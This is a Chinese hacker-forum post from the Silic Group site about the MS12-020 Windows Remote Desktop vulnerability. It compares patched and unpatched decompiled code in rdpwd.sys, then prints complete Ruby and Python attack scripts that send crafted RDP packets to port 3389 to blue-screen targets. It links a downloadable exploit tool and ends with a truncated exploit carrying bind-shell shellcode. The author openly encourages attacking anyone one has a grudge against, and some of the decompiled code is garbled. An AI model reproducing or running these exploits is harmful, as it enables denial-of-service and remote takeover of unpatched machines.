MS12-020 漏洞利用程序
来源:互联网 发布:三星官网刷机软件 编辑:程序博客网 时间:2024/05/20 07:36
根据Silic Group的调查,蓝屏的出现基本可以确定是因为MS11-065补丁的原因。本文的PoC是根据2011年8月出现的MS11-065补丁以后的rdpwd.sys文件结构而写
微软通过MS11-065修改了rdpwd.sys文件并更新了版本,所以导致没打过MS11-065的机器就出现了蓝屏等症状。
通过本论坛交流群内成员的各种测试结果,发送580 byte数据包的基本可以成功,内网或者同C段则成功率比较高,其他情况则蓝屏现象严重
另外请不要质疑测试脚本与ms12-020漏洞的真实性,蓝屏则表示漏洞存在,只是shellcode在内存覆盖的位置有问题。
如果不爽,跟谁有仇就干谁,重启就蓝重启就蓝重启就蓝,补丁都打不上,这东西比DDoS稳定
本文末尾将付上MS12-020真正的PoC,编写语言为ruby和python两个版本的,还有一个exe程序,均不需要什么freerdp包之类的东西。
Sabu写的那个不是MS12-020的shellcode,而是2008年Apache 1.2.19的远程命令执行漏洞的EXP修改来的。真正的PoC除了本文帖子,其他的地方还真没流传出来。
新闻把这个炒作起来,完全是在微软推送补丁以后看漏洞的介绍和波及范围而炒作的。
PoC以后肯定会有人有更好更傻瓜化的或者GUI版本的,因为既然有漏洞的文件知道了,就会有人根据分析有漏洞的文件写出shellcode,不过暂时本论坛的本帖子的PoC恐怕是网上为数不多的可用的真实的PoC。
其实之前我这里在14号当天就拿到了一个nasl的测试脚本,nasl版本的PoC真的要执行指定命令并不太容易,多数都拒绝服务了,不过测试中580byte的shellcode是成功率最高的。
也就是说,网上流传的截图也好,视频也好,有sent从一百两百到上万byte的PoC程序截图,这些截图明显就是假的了
OK,步入正文
//blackbap.org
MS12-020于前天被爆存在高危远程代码执行漏洞,可以通过向远程桌面端口发送特定的RDP包获得管理员权限,存在漏洞的文件是rdpwd.sys,出现漏洞的原因,恐怕现在网上已经泛滥的一塌糊涂了,那就是HandleAttachUserReq()函数。
其实早在2011年8月的时候,微软的rdpwd.sys文件就已经爆出过一个命令执行漏洞,漏洞代号是MS11-065。
注:本文并非专业分析
但是转载请注明本文来自:Silic Group Hacker Army[http://blackbap.org]
首先,第一步我们来看一下这个存在漏洞的函数HandleAttachUserReq()在打过补丁前后的不同:
更新前的代码:
- char __thiscall HandleAttachUserReq(int this, int a2, int a3)
- {
- int v3; // esi@1
- int v4; // eax@3
- int v6; // [sp-8h] [bp-18h]@3
- char v7; // [sp+4h] [bp-Ch]@3
- int v8; // [sp+8h] [bp-8h]@3
- int v9; // [sp+Ch] [bp-4h]@2
- v3 = this;
- *(_DWORD *)a3 = 1;
- if ( *(_BYTE *)(this + 16) & 0×20 )
- {
- while ( IcaBufferAlloc(*(_DWORD *)v3, 0, 1, 11, 0, &v9) )
- ;
- v4 = MCSAttachUserRequest(v3, 0, 0, 0, &v8, &v7, (char *)&a3 + 3);
- v6 = *(_DWORD *)(v9 + 16);
- if ( v4 )
- {
- CreateAttachUserCon(14, 0, 0, v6);
- *(_DWORD *)(v9 + 20) = 9;
- }
- else
- {
- CreateAttachUserCon(0, 1, *(_DWORD *)(v8 + 12), v6);
- *(_DWORD *)(v9 + 20) = 11;
- *(_BYTE *)(v8 + 4) = 0;
- }
- if ( SendOutBuf(v3, v9) < 0 )
- SListRemove(v3 + 112, v8, &v8);
- }
- return 1;
- }
复制代码
更新后的代码:
- char __thiscall HandleAttachUserReq(int this, int a2, int a3)
- {
- int v3; // esi@1
- int v4; // eax@3
- int v6; // [sp-8h] [bp-18h]@3
- char v7; // [sp+4h] [bp-Ch]@3
- int v8; // [sp+8h] [bp-8h]@3
- int v9; // [sp+Ch] [bp-4h]@2
- v3 = this;
- *(_DWORD *)a3 = 1;
- if ( *(_BYTE *)(this + 16) & 0×20 )
- {
- while ( IcaBufferAlloc(*(_DWORD *)v3, 0, 1, 11, 0, &v9) )
- ;
- v4 = MCSAttachUserRequest(v3, 0, 0, 0, &v8, &v7, (char *)&a3 + 3);
- v6 = *(_DWORD *)(v9 + 16);
- if ( v4 )
- {
- CreateAttachUserCon(14, 0, 0, v6);
- *(_DWORD *)(v9 + 20) = 9;
- }
- else
- {
- CreateAttachUserCon(0, 1, *(_DWORD *)(v8 + 12), v6);
- *(_DWORD *)(v9 + 20) = 11;
- *(_BYTE *)(v8 + 4) = 0;
- }
- if ( SendOutBuf(v3, v9) < 0 )
- {
- SListRemove(v3 + 112, v8, &v8);
- //注意下面的if语句,这是更新后的代码 blackbap.org
- if ( p )
- {
- if ( !*((_BYE *)P + 5) )
- ExFreePoolWithTag(P, 0);
- }
- }
- }
- return 1;
- }
复制代码
是的,代码中添加了一个额外的函数ExFreePoolWithTag()用于检查和释放内存的使用
原:
- 0002CB30 @HandleAttachUserReq@16
- 0002CBB8 push ss:[ebp+var_4]
- 0002CBBB push esi
- 0002CBBC call _SendOutBuf@8
- 0002CBC1 test eax, eax
- 0002CBC3 pop ebx
- 0002CBC4 jge loc_2CBD6
- 0002CBC6 lea eax, ss:[ebp+var_8]
- 0002CBC9 push eax
- 0002CBCA push ss:[ebp+var_8]
- 0002CBCD add esi, 0×70
- 0002CBD0 push esi
- 0002CBD1 call _SListRemove@12
- 0002CBD6 mov b1 a1, b1 1
- 0002CBD8 pop esi
- 0002CBD9 leave
- 0002CBDA retn b2 8
复制代码
这是后面加过检查和释放函数的:
- 0002CB44 @HandleAttachUserReq@16
- 0002CBCC push ss:[ebp+var_4]
- 0002CBCF push esi
- 0002CBD0 call _SendOutBuf@8
- 0002CBD5 test eax, eax
- 0002CBD7 jge loc_2CBD6
- 0002CBD9 lea eax, ss:[ebp+var_P]
- 0002CBDC push eax
- 0002CBDD push ss:[ebp+var_P]
- 0002CBE0 add esi, 0×70
- 0002CBE3 push esi
- 0002CBE4 call _SListRemove@12 //SListRemove(x,x,x)
- 0002CBE9 mov eax, ss:[ebp+P]
- 0002CBEC cmp eax, ebx
- 0002CBEE jz loc_2CBFD
- 0002CBF0 cmp b1 ds:[eax+5],b1 b1
- 0002CBF3 jnz loc_2CBFD
- 0002CBF5 push ebx //Tag
- 0002CBF6 push ebx //P
- 0002CBF7 call ds:[__imp__ExFreePoolWithTag@8] //__imp__ExFreePoolWithTag@8,ExFreePoolWithTag(x,x)
- //CODE XREF: HandleAttachUserReq(x,x,x,x)+19j
- //HandleAttachUserReq(x,x,x,x)+94j …
- 0002CBFD pop esi
- 0002CBFE mov b1 a1, b1 1
- 0002CC00 pop ebx
- 0002CC01 leave
- 0002CC02 retn b2 8
复制代码
通过检查,上述函数似乎只解决了内存泄露问题,并没有解决内存不释放的问题??
还有一个函数也是疑似检查用户数据的,疑似是边界的检查
- 0001978A call _WDWParseUserData@36 //WDWParseUserData(x,x,x,x,x,x,x,x,x)
- 0001978F test eax, eax
- 00019791 jz short loc_1973D
- 00019793 push 0
- 00019795 push esi
- 00019796 push [ebp+arg_4]
- 00019799 push [ebp+var_4]
- 0001979C push [ebp+var_8]
- 0001979F push [ebp+var_C]
- 000197A2 push [ebp+arg_0]
- 000197A5 call _WDWConnect@28 //WDWConnect(x,x,x,x,x,x,x)
复制代码
上面这个函数我并没有做什么太大的分析,因为漏洞已经产生了,其实大家更想知道的,并不是这个漏洞如何产生的,而是这个漏洞怎么利用。
下面就贴出ruby语言的利用脚本:
- #!/usr/bin/env ruby
- # ms12-020 PoC
- # NOTE: 本测试脚本基于中国民间流传的Chinese Shit而写,并且修正了数据包不符合协议的问题
- # Author: Joshua J. Drake(jduck)
- # From: BlackBap.Org
- # Silic Group – 技术自由 技术创新 技术共享 技术原创 技术进步
- require ‘socket’
- def send_tpkt(sd, data)
- sd.write(make_tpkt(data))
- end
- def make_tpkt(data)
- [
- 3, # version
- 0, # reserved
- 4 + data.length
- ].pack(‘CCn’) + data
- end
- def make_x224(data)
- [ data.length ].pack(‘C’) + data
- end
- def make_rdp(type, flags, data)
- [ type, flags, 4 + data.length ].pack(‘CCv’) + data
- end
- host = ARGV.shift
- sd = TCPSocket.new(host, 3389)
- pkts1 = []
- # craft connection request
- rdp = make_rdp(1, 0, [ 0 ].pack(‘V’))
- x224_1 = make_x224([
- 0xe0, # Connection request
- 0, # ??
- 0, # SRC-REF
- 0 # Class : Class 0
- ].pack(‘CnnC’) + rdp)
- pkts1 << make_tpkt(x224_1)
- # craft connect-initial
- x224_2 = make_x224([
- 0xf0, # Data / Class 0
- 0x80 # EOT: True / NR: 0
- ].pack(‘CC’))
- # mcsCi
- target_params = “”+
- #”\x02\x01\x00″+ # maxChannelIds
- “\x02\x04\x00\x00\x00\x22″+ # maxChannelIds
- “\x02\x04\x00\x00\x00\x0a”+ # maxUserIds
- “\x02\x04\x00\x00\x00\x00″+ # maxTokenIds
- “\x02\x04\x00\x00\x00\x01″+ # numPriorities
- “\x02\x04\x00\x00\x00\x00″+ # minThroughput
- “\x02\x04\x00\x00\x00\x01″+ # maxHeight
- “\x02\x02\xff\xff”+ # maxMCSPDUSize
- “\x02\x04\x00\x00\x00\x02″ # protocolVersion
- min_params = “”+
- “\x02\x04\x00\x00\x00\x01″+ # maxChannelIds
- “\x02\x04\x00\x00\x00\x01″+ # maxUserIds
- “\x02\x04\x00\x00\x00\x01″+ # maxTokenIds
- “\x02\x04\x00\x00\x00\x01″+ # numPriorities
- “\x02\x04\x00\x00\x00\x00″+ # minThroughput
- “\x02\x04\x00\x00\x00\x01″+ # maxHeight
- “\x02\x02\x04\x20″+ # maxMCSPDUSize
- “\x02\x04\x00\x00\x00\x02″ # protocolVersion
- max_params = “”+
- “\x02\x02\xff\xff”+ # maxChannelIds
- “\x02\x02\xfc\x17″+ # maxUserIds
- “\x02\x02\xff\xff”+ # maxTokenIds
- “\x02\x04\x00\x00\x00\x01″+ # numPriorities
- “\x02\x04\x00\x00\x00\x00″+ # minThroughput
- “\x02\x04\x00\x00\x00\x01″+ # maxHeight
- “\x02\x02\xff\xff”+ # maxMCSPDUSize
- “\x02\x04\x00\x00\x00\x02″ # protocolVersion
- userdata = “”+
- # gccCCrq
- “\x00\x05\x00\x14″+
- “\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63″+”\x61\x81\x1c”+
- # clientCoreData
- “\x01\xc0″+”\xd8\x00″+ # header (type, len)
- “\x04\x00″+”\x08\x00″+ # version
- “\x80\x02″+ # desktop width
- “\xe0\x01″+ # desktop height
- “\x01\xca”+ # color depth
- “\x03\xaa”+ # SASSequence
- “\x09\x04\x00\x00″ + # keyboard layout
- “\xce\x0e\x00\x00″ + # client build number
- # client name
- “\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
- “\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
- “\x04\x00\x00\x00″+ # keyboard type
- “\x00\x00\x00\x00″+ # kbd subType
- “\x0c\x00\x00\x00″+ # kbd FuncKey
- # imeFileName
- “\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
- “\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
- “\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
- “\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
- “\x01\xca”+ # postBeta2ColorDepth
- “\x01\x00″+ # clientProductId
- “\x00\x00\x00\x00″ + # serialNumber
- “\x10\x00″+ # highColorDepth
- “\x07\x00″+ # supportedColorDepths
- “\x01\x00″+ # earlyCapabilityFlags
- # clientDigProductId -poc has: “00000-000-0000000-00000″
- “\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00″+
- “\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00″+
- “\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00″+
- “\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
- “\x00″+ # connectionType
- “\x00″+ # pad1octet
- “\x00\x00\x00\x00″+ # serverSelectedProtocol
- “\x04\xc0\x0c\x00″+ # desktopPhysicalWidth
- “\x0d\x00\x00\x00″+ # desktopPhysicalHeight
- “\x00\x00\x00\x00″+ # reserved
- # clientSecurityData
- “\x02\xc0″+”\x0c\x00″+ # header (type, len)
- “\x1b\x00\x00\x00″+ # encryptionMethods
- “\x00\x00\x00\x00″+ # extEncryptionMethods
- # clientNetworkData
- “\x03\xc0″+”\x2c\x00″+ # header (type, len)
- “\x03\x00\x00\x00″+ # channel count!
- # channel 0
- “rdpdr\x00\x00\x00″+ # name
- “\x00\x00\x80\x80″+ # options
- # channel 1
- “cliprdr\x00″+ # name
- “\x00\x00\xa0\xc0″+ # options
- # channel 2
- “rdpsnd\x00\x00″+ # name
- “\x00\x00\x00\xc0″ # options
- # clientClusterData (not present)
- # clientMonitorData (not present)
- mcs_data = “”+
- “\x04\x01\x01″+ # callingDomainSelector
- “\x04\x01\x01″+ # calledDomainSelector
- “\x01\x01\xff”+ # upwardFlag
- #”\x30″ + [ target_params.length ].pack(‘C’) + target_params +
- #”\x30″ + [ min_params.length ].pack(‘C’) + min_params +
- #”\x30″ + [ max_params.length ].pack(‘C’) + max_params +
- “\x30″ + [ 0x19 ].pack(‘C’) + target_params +
- “\x30″ + [ 0x19 ].pack(‘C’) + min_params +
- “\x30″ + [ 0x1c ].pack(‘C’) + max_params +
- # userData
- “\x04\x82″ + [ userdata.length ].pack(‘n’) + userdata
- #mcs = “\x7f\x65\x82″ + [ mcs_data.length ].pack(‘n’) # connect-initial (0×65 / 101), length
- mcs = “\x7f\x65\x82″ + [ 0x194 ].pack(‘n’) # connect-initial (0×65 / 101), length
- mcs << mcs_data
- pkts1 << make_tpkt(x224_2 + mcs)
- # send a special one?
- pkts1 << make_tpkt(x224_2 + “\x04\x01\x00\x01\x00″)
- # send more pkts! – based on poc
- 10.times {
- pkts1 << make_tpkt(x224_2 + “\x28″)
- }
- pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xea”)
- pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xeb”)
- pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xec”)
- pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xed”)
- pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xee”)
- pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xf0″)
- pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xf1″)
- pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xf2″)
- pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xf3″)
- pkts1 << make_tpkt(x224_2 + “\x21\x80″)
- bigpkt = pkts1.join(”)
- loop {
- sd.write(bigpkt)
- send_tpkt(sd, x224_2 + “\x2e\x00\x00\x01″)
- send_tpkt(sd, x224_2 + “\x2e\x00\x00\x02″)
- send_tpkt(sd, x224_2 + “\x2e\x00\x00\x03″)
- send_tpkt(sd, x224_2 + “\x2e\x00\x00\x04″)
- # read connect-initial response
- buf = sd.recv(1500)
- # XXX: TODO: check response =)
- #puts buf
- }
- sd.close
- # BlackBap.Org
复制代码
既然ruby的数据包上已经声明了,这个脚本是基于“Chinese Shit”的脚本所写,并且修正了“Chinese Shit”上面的不完全符合协议的数据包
那么我们再来看一下“Chinese Shit”的PoC又是什么样子的,Python语言:
- #ms12-020 “chinese shit” PoC v2 (wireshark版)
- # 测试平台:win sp3(西班牙语), 据反馈Win7和win 2008也同样可用
- # Silic Group – 技术自由 技术创新 技术共享 技术原创 技术进步
- # 附件中添加time.sleep修正bug版本的py脚本
- # BlackBap.Org
- import socket
- import sys
- buf=”"
- buf+=”\x03\x00\x00\x13″ # TPKT, Version 3, lenght 19
- buf+=”\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00″ # ITU-T Rec X.224
- buf+=”\x03\x00\x01\xd6″ # TPKT, Version 3, lenght 470
- buf+=”\x02\xf0\x80″ # ITU-T Rec X.224
- buf+=”\x7f\x65\x82\x01\x94\x04″ #MULTIPOINT-COMMUNICATION-SERVICE T.125
- buf+=”\x01\x01\x04\x01\x01\x01\x01\xff” # “Fuck you Chelios” packet
- buf+=”\x30\x19\x02\x04\x00\x00\x00\x00″
- buf+=”\x02\x04\x00\x00\x00\x02\x02\x04″
- buf+=”\x00\x00\x00\x00\x02\x04\x00\x00″
- buf+=”\x00\x01\x02\x04\x00\x00\x00\x00″
- buf+=”\x02\x04\x00\x00\x00\x01\x02\x02″
- buf+=”\xff\xff\x02\x04\x00\x00\x00\x02″
- buf+=”\x30\x19\x02\x04\x00\x00\x00\x01″
- buf+=”\x02\x04\x00\x00\x00\x01\x02\x04″
- buf+=”\x00\x00\x00\x01\x02\x04\x00\x00″
- buf+=”\x00\x01\x02\x04\x00\x00\x00\x00″
- buf+=”\x02\x04\x00\x00\x00\x01\x02\x02″
- buf+=”\x04\x20\x02\x04\x00\x00\x00\x02″
- buf+=”\x30\x1c\x02\x02\xff\xff\x02\x02″
- buf+=”\xfc\x17\x02\x02\xff\xff\x02\x04″
- buf+=”\x00\x00\x00\x01\x02\x04\x00\x00″
- buf+=”\x00\x00\x02\x04\x00\x00\x00\x01″
- buf+=”\x02\x02\xff\xff\x02\x04\x00\x00″
- buf+=”\x00\x02\x04\x82\x01\x33\x00\x05″
- buf+=”\x00\x14\x7c\x00\x01\x81\x2a\x00″
- buf+=”\x08\x00\x10\x00\x01\xc0\x00\x44″
- buf+=”\x75\x63\x61\x81\x1c\x01\xc0\xd8″
- buf+=”\x00\x04\x00\x08\x00\x80\x02\xe0″
- buf+=”\x01\x01\xca\x03\xaa\x09\x04\x00″
- buf+=”\x00\xce\x0e\x00\x00\x48\x00\x4f”
- buf+=”\x00\x53\x00\x54\x00\x00\x00\x00″
- buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
- buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
- buf+=”\x00\x00\x00\x00\x00\x04\x00\x00″
- buf+=”\x00\x00\x00\x00\x00\x0c\x00\x00″
- buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
- buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
- buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
- buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
- buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
- buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
- buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
- buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
- buf+=”\x00\x01\xca\x01\x00\x00\x00\x00″
- buf+=”\x00\x10\x00\x07\x00\x01\x00\x30″
- buf+=”\x00\x30\x00\x30\x00\x30\x00\x30″
- buf+=”\x00\x2d\x00\x30\x00\x30\x00\x30″
- buf+=”\x00\x2d\x00\x30\x00\x30\x00\x30″
- buf+=”\x00\x30\x00\x30\x00\x30\x00\x30″
- buf+=”\x00\x2d\x00\x30\x00\x30\x00\x30″
- buf+=”\x00\x30\x00\x30\x00\x00\x00\x00″
- buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
- buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
- buf+=”\x00\x00\x00\x00\x00\x04\xc0\x0c”
- buf+=”\x00\x0d\x00\x00\x00\x00\x00\x00″
- buf+=”\x00\x02\xc0\x0c\x00\x1b\x00\x00″
- buf+=”\x00\x00\x00\x00\x00\x03\xc0\x2c”
- buf+=”\x00\x03\x00\x00\x00\x72\x64\x70″
- buf+=”\x64\x72\x00\x00\x00\x00\x00\x80″
- buf+=”\x80\x63\x6c\x69\x70\x72\x64\x72″
- buf+=”\x00\x00\x00\xa0\xc0\x72\x64\x70″
- buf+=”\x73\x6e\x64\x00\x00\x00\x00\x00″
- buf+=”\xc0″
- buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12
- buf+=”\x02\xf0\x80″ # ITU-T Rec X.224
- buf+=”\x04\x01\x00\x01\x00″ # MULTIPOINT-COMMUNICATION-SERVICE T.125
- buf+=”\x03\x00\x00\x08″ #TPKT, Version 3, Length 8
- buf+=”\x02\xf0\x80″ # ITU-T Rec X.224
- buf+=”\x28″ # MULTIPOINT-COMM-SERVICE T.125
- buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12
- buf+=”\x02\xf0\x80″ # ITU-T Rec X.224
- buf+=”\x38\x00\x06\x03\xef” # MULTIPOINT-COMM-SERVICE T.125
- buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12
- buf+=”\x02\xf0\x80″ #ITU-T Rec X.224
- buf+=”\x38\x00\x06\x03\xeb” # MULTIPOINT-COMM-SERVICE T.125
- buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12
- buf+=”\x02\xf0\x80″ #ITU-T Rec X.224
- buf+=”\x38\x00\x06\x03\xec”# MULTIPOINT-COMM-SERVICE T.125
- buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12
- buf+=”\x02\xf0\x80″ #ITU-T Rec X.224
- buf+=”\x38\x00\x06\x03\xed”# MULTIPOINT-COMM-SERVICE T.125
- buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12
- buf+=”\x02\xf0\x80″ #ITU-T Rec X.224
- buf+=”\x38\x00\x06\x03\xee”# MULTIPOINT-COMM-SERVICE T.125
- buf+=”\x03\x00\x00\x0b” # TPKT, Version 3, Lenght 12
- buf+=”\x06\xd0\x00\x00\x12\x34\x00″ #ITU-T Rec X.224
- HOST = sys.argv[1]
- PORT = 3389
- for i in range(1000):
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((HOST,PORT))
- print “sending: %d bytes” % len(buf)
- s.send(buf)
- rec = s.recv(100)
- print “received: %d bytes” % len(rec)
- s.close()
- # BlackBap.Org
复制代码
据测试,上面版本的Chinese Shit仍然有很多bug,附件中新增了time.sleep修正bug版本的py脚本
如果你比较懒,可以直接下载以上PoC的压缩包,如果你比较勤快,可以点击以上代码的“复制代码”,并保存于记事本并重命名为xx.rb和xx.py并自己修正bug
附件说明:
*
* MS12-020.rb为严格符合rdp数据包规范的ruby脚本语言的MS12-020测试PoC
*
* Chinese Shit.py为网上流传的MS12-020漏洞程序Python脚本wireshark v2修正版
* 西班牙语XP SP3和Win7/R2都成功
*
* Chinese Shit Silic Group修正版.py为基于原Chinese Shit的python脚本的bug校正版本
* 添加了time.sleep
*
* rdp.exe则来自网上广泛流传的花钱购买的版本的利用工具
* rdp IP -v如果对方机器重启表示漏洞存在,且可利用。
*
* Apache 1.2.19 mod_jk 远程栈溢出漏洞.py是流传最广泛的Sabu@fbi.gov的娱乐版PoC
*
*
* Silic Group – 技术自由 技术创新 技术共享 技术原创 技术进步
* BlackBap.Org
*提供一个Win下测试成功的, 不需要ruby环境的EXE程序:
http://115.com/file/dpq7v1u4#
MS12-020利用工具-含bug修正版.rar
#!/usr/bin/env python############################################################################## MS12-020 Exploi## Uses FreeRDP#############################################################################import structimport sysfrom freerdp import rdpRdpfrom freerdp import cryptofrom freerdp.rdpRdp import rdpNego#bind shellcode TCP port 4444shellcode = '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'shellcode += '\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9'shellcode += '\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56'shellcode += '\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22'shellcode += '\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30'shellcode += '\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81'shellcode += '\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42'shellcode += '\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22'shellcode += '\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9'shellcode += '\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79'shellcode += '\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab'shellcode += '\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa'shellcode += '\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48'shellcode += '\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1'shellcode += '\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0'shellcode += '\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe'shellcode += '\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9'shellcode += '\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84'shellcode += '\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56'shellcode += '\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8'shellcode += '\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79'shellcode += '\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6'shellcode += '\xba\xb5\x60\x56\x39\x4a\xb6\xa9'#Payloadpayload = '\x41\x00\x5c\x00'payload += '\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49'payload += '\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x51\x5a\x6a\x68'payload += '\x58\x30\x41\x31\x50\x42\x41\x6b\x42\x41\x78\x42\x32\x42\x41\x32'payload += '\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x4b\x59\x49\x6c\x43'payload += '\x5a\x7a\x4b\x32\x6d\x5a\x48\x5a\x59\x69\x6f\x4b\x4f\x39\x6f\x71'payload += '\x70\x6e\x6b\x62\x4c\x44\x64\x71\x34\x4c\x4b\x62\x65\x75\x6c\x4c'payload += '\x4b\x63\x4c\x76\x65\x70\x78\x35\x51\x48\x6f\x6c\x4b\x50\x4f\x74'payload += '\x58\x6e\x6b\x33\x6f\x55\x70\x37\x71\x48\x6b\x57\x39\x6c\x4b\x66'payload += '\x54\x6e\x6b\x46\x61\x7a\x4e\x47\x41\x6b\x70\x7a\x39\x4c\x6c\x4c'payload += '\x44\x6f\x30\x62\x54\x44\x47\x38\x41\x4b\x7a\x54\x4d\x44\x41\x4b'payload += '\x72\x78\x6b\x39\x64\x35\x6b\x53\x64\x75\x74\x46\x48\x72\x55\x79'payload += '\x75\x6c\x4b\x53\x6f\x76\x44\x44\x41\x48\x6b\x35\x36\x4e\x6b\x54'payload += '\x4c\x30\x4b\x6c\x4b\x51\x4f\x65\x4c\x65\x51\x38\x6b\x77\x73\x36'payload += '\x4c\x4e\x6b\x6e\x69\x30\x6c\x66\x44\x45\x4c\x30\x61\x69\x53\x30'payload += '\x31\x79\x4b\x43\x54\x6c\x4b\x63\x73\x44\x70\x4e\x6b\x77\x30\x66'payload += '\x6c\x6c\x4b\x72\x50\x45\x4c\x4c\x6d\x4e\x6b\x73\x70\x64\x48\x73'payload += '\x6e\x55\x38\x6e\x6e\x32\x6e\x34\x4e\x58\x6c\x62\x70\x39\x6f\x6b'payload += '\x66\x70\x66\x61\x43\x52\x46\x71\x78\x30\x33\x55\x62\x63\x58\x63'payload += '\x47\x34\x33\x65\x62\x41\x4f\x30\x54\x39\x6f\x4a\x70\x52\x48\x5a'payload += '\x6b\x38\x6d\x6b\x4c\x75\x6b\x30\x50\x6b\x4f\x6e\x36\x53\x6f\x6f'payload += '\x79\x4a\x45\x32\x46\x6f\x71\x6a\x4d\x34\x48\x77\x72\x73\x65\x73'payload += '\x5a\x37\x72\x69\x6f\x58\x50\x52\x48\x4e\x39\x76\x69\x4a\x55\x4c'payload += '\x6d\x32\x77\x69\x6f\x59\x46\x50\x53\x43\x63\x41\x43\x70\x53\x70'payload += '\x53\x43\x73\x50\x53\x62\x63\x70\x53\x79\x6f\x6a\x70\x35\x36\x61'payload += '\x78\x71\x32\x78\x38\x71\x76\x30\x53\x4b\x39\x69\x71\x4d\x45\x33'payload += '\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\x32'payload += '\x4a\x56\x70\x66\x31\x76\x35\x59\x6f\x58\x50\x32\x48\x4d\x74\x4e'payload += '\x4d\x66\x4e\x7a\x49\x50\x57\x6b\x4f\x6e\x36\x46\x33\x56\x35\x39'payload += '\x6f\x78\x50\x33\x58\x6b\x55\x51\x59\x4e\x66\x50\x49\x51\x47\x39'payload += '\x6f\x48\x56\x32\x70\x32\x74\x62\x74\x46\x35\x4b\x4f\x38\x50\x6e'payload += 